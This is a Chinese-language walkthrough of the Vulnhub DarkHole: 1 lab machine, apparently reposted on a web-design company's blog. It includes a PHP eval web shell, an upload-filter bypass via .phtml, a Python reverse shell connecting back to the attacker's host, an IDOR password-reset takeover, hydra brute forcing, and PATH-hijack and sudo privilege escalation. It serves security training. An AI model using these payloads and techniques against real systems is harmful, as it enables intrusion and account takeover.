【Vulnhub系列】DarkHole1: 渗透测试笔记,没有踩渗透的坑,却踩到了虚拟机平台的坑,人生处处是大坑

发布时间:2026/10/13 3:19:31
【Vulnhub系列】DarkHole1: 渗透测试笔记,没有踩渗透的坑,却踩到了虚拟机平台的坑,人生处处是大坑 基本信息虚拟机软件VirtualBox靶场Vulnhub DarkHole: 1攻击机Kali192.168.56.3靶机192.168.56.7虚拟机模式仅主机攻击机靶机同一网段下载链接https://download.vulnhub.com/darkhole/DarkHole.zip作者Jehad Alqurashi难度简单说在前面坑坑坑使用virtualbox的用户请注意当你导入ovf之后可能会出现靶机无法获取IP地址的情况这是因为靶机中的/etc/netplan/00-installer-config.yaml配置文件中的网卡写的是ens33这个是vmware配置的网卡名virtualbox不适配导致。因此我们需要先进入登录靶机修改文件。接下来先一步步整好这个问题。对于VMware玩家请直接跳到后续步骤。通过用户名密码john/root123登录靶机后台;通过ip a获取到当前的网卡名称我的是enp0s17;执行echo import os;os.system(/bin/bash) /home/john/file.py提权到root用户后面会说为什么是这种方式;通过vim编辑/etc/netplan/00-installer-config.yaml文件将里面的ens33改为你的网卡名比如enp0s17,保存并退出;执行netplan apply使配置生效;再次执行 ip a 发现网卡名变成了修改后的并且成功获取到IP地址;最后一步忘掉之前的关键信息假装自己是从头开始渗透。一、信息收集注意kali中涉及到的命令均通过root用户执行。确定靶机IP以及开放的服务执行arp-scan --local发现存活主机192.168.56.7使用nmap扫描开放的端口和服务nmap-sC-T4-p-192.168.56.7共两个ssh和80端口的web服务。访问web服务找漏洞浏览器访问http://192.168.56.7/查看源码发现只有一个login.php使用gobuster先扫一遍目录gobusterdir-uhttp://192.168.56.7-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt-t30-xphp,bak,old,txt,html通过对扫描出的结果进行验证发现有几个可测试的点包括: login.php, register.php, upload/目录config目录bdashoard.php需要登录。其中upload目录有列目录的功能不过没啥东西就一张疑似作者的照片config/目录也是列目录有个database.php 但是访问无内容。登录页面输入错误的用户名或者密码会提示但比较模糊。注册页面, 虽然模糊但可测试通过使用admin用户和一个临时邮箱测试发现该系统存在admin用户。3.接下来测试一波密码暴破, 在此过程中使用sqlmap测试了下没结果。此过程可以忽略没有跑出来。hydra-ladmin-P/usr/share/wordlists/rockyou.txt192.168.56.7 http-post-form/login.php:username^USER^password^PASS^:Fusername or password is incorrect-f4. 在密码暴破过程中先测试其他的先注册一个用户a然后登录看下啥内容。一个件简单的页面需要注意的是地址栏的存在id参数可以测试一下sql注入或者越权漏洞不过都不行。5. 下方有个修改用户名邮箱以及密码的功能密码没啥可说的主要看修改用户名这里是否可以将其修改为平台已存在的用户然后实现密码覆盖呢可行可以注册另一个账号b然后将在a账号下将名称修改为b可以实现使用a账号的密码登录b但当我修改为admin的时候就不行了。可能后端对admin这个角色或者账户名做了限制6. 换一个点除了修改用户名还有一个是修改用户密码通过抓包发现Post请求体又个id字段这里需要忽略掉url中的id这个是不能修改的。经过测试发现这里改成其他用户的id之后便修改了其他用户的密码因此尝试将其改为admin的id由于之前注册的第一个用户的id是2因此推测admin的id是1利用burp修改成功使用admin/a进行登录发现成功了,并且多了一个upload功能7. 通过uplaod上传一句话木马测试,?php eval($_POST[cmd]); ?上传失败限制了可上传的文件类型接下来就是绕过。8. 通过错误提示猜测可能对后缀做了限制因此经过修改各种后缀测试发现使用 phtml可以执行。9. 使用蚁剑进行连接10 .通过蚁剑的虚拟终端发现user.txt不允许当前用户读取接下来就是想办法获取到john的权限。获取普通用户权限得到user flag这里放弃蚁剑的虚拟终端换个思路使用蚁剑上传一个用于反弹shell的php文件然后再上传一个实际的反弹shell的py文件文件内容如下shell.phtml?phpignore_user_abort(true);set_time_limit(0);exec(nohup python3 /tmp/rev.py /dev/null 21 );echook;?rev.pyimportsocket,subprocess,os,sys LHOST192.168.56.3LPORT6666defmain():ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((LHOST,LPORT))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)# 彻底脱离 PHP/HTTP 父进程try:os.setsid()exceptException:pass# 这里用 /bin/sh不用 /bin/bash避免靶机没有 bashpsubprocess.call([/bin/sh,-i])if__name____main__:main()kali是用nc -lvnp 6666监听在浏览器中访问http://192.168.56.7/upload/shell.phtml文件提升一下shell按照以下步骤执行# 1. 用python生成ptypython3-cimport pty;pty.spawn(/bin/bash)# 2. CtrlZ 把shell丢后台# 3. 在kali本机执行stty raw -echo;fg# 4. 回车然后配置环境变量exportTERMxterm4. 下一步进行提权先是使用了sudo -l发现需要密码不行。想到最开始扫描到的config/database.php文件发现mysql的用户名和密码。联想到该靶机存在john用户尝试密码复用发现失败。5. 查看mysql数据库内容发现没啥有用信息。6. 查看一下SUID的文件find / -perm -4000 -type f 2/dev/null发现一个可疑文件这个toto文件之前我们通过蚁剑虚拟终端见到过查看文件内容发现是个可执行的二进制文件。查看一下文件权限。对于我们当前用户 www-data来讲可以执行7. 执行一下toto文件看有什么输出/home/john/toto通过输出推测该程序执行了id命令并且 通过 strings /home/john/toto 发现system函数。接下来可以通过蚁剑下载到kali反编译一下分析。通过查看 ghidra的结果也是跟猜想一致8. 接下来进行提权既然运行该程序会执行id命令那么我们的思路就是将id替换为为获取shell的命令怎么替换呢这里用到PATH劫持依次执行以下命令echo/bin/bash -p/tmp/id#将bash shell命令写入到临时目录下虚假的id文件中chmodx /tmp/id# 赋予 id可执行权限exportPATH/tmp:$PATH# 将环境变量配置为 /tmp目录/home/john/toto#执行totototo会执行id命令然后id存在于环境变量 /tmp中因此会优先去tmp下找为啥优先去这里找百度一下export PATH这句话的优先级就知道了找到后执行 /bin/bash -p提权成功了但是权限是john用户为啥呢可以看之前的反编译代码。这里设置的xxid是john的该程序执行的时候显示设置成了john的uid然后再执行的提权因此会降权到john而不是root。9. 使用sudo -l看能否直接提权到root, 提示需要输入密码但是我们看到有个password的文件内容是root123,可能是john的密码,并且这个file.py文件也很可疑可能会跟我们后续提权有关系。10. 重新使用 sudo -l密码输入root123,发现密码正确并且确实跟我们猜想一致file.py有root权限11. 接下来执行sudo /usr/bin/python3 /home/john/file.py即可提权到root用户,注意python3要完整路径。获取root flag

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询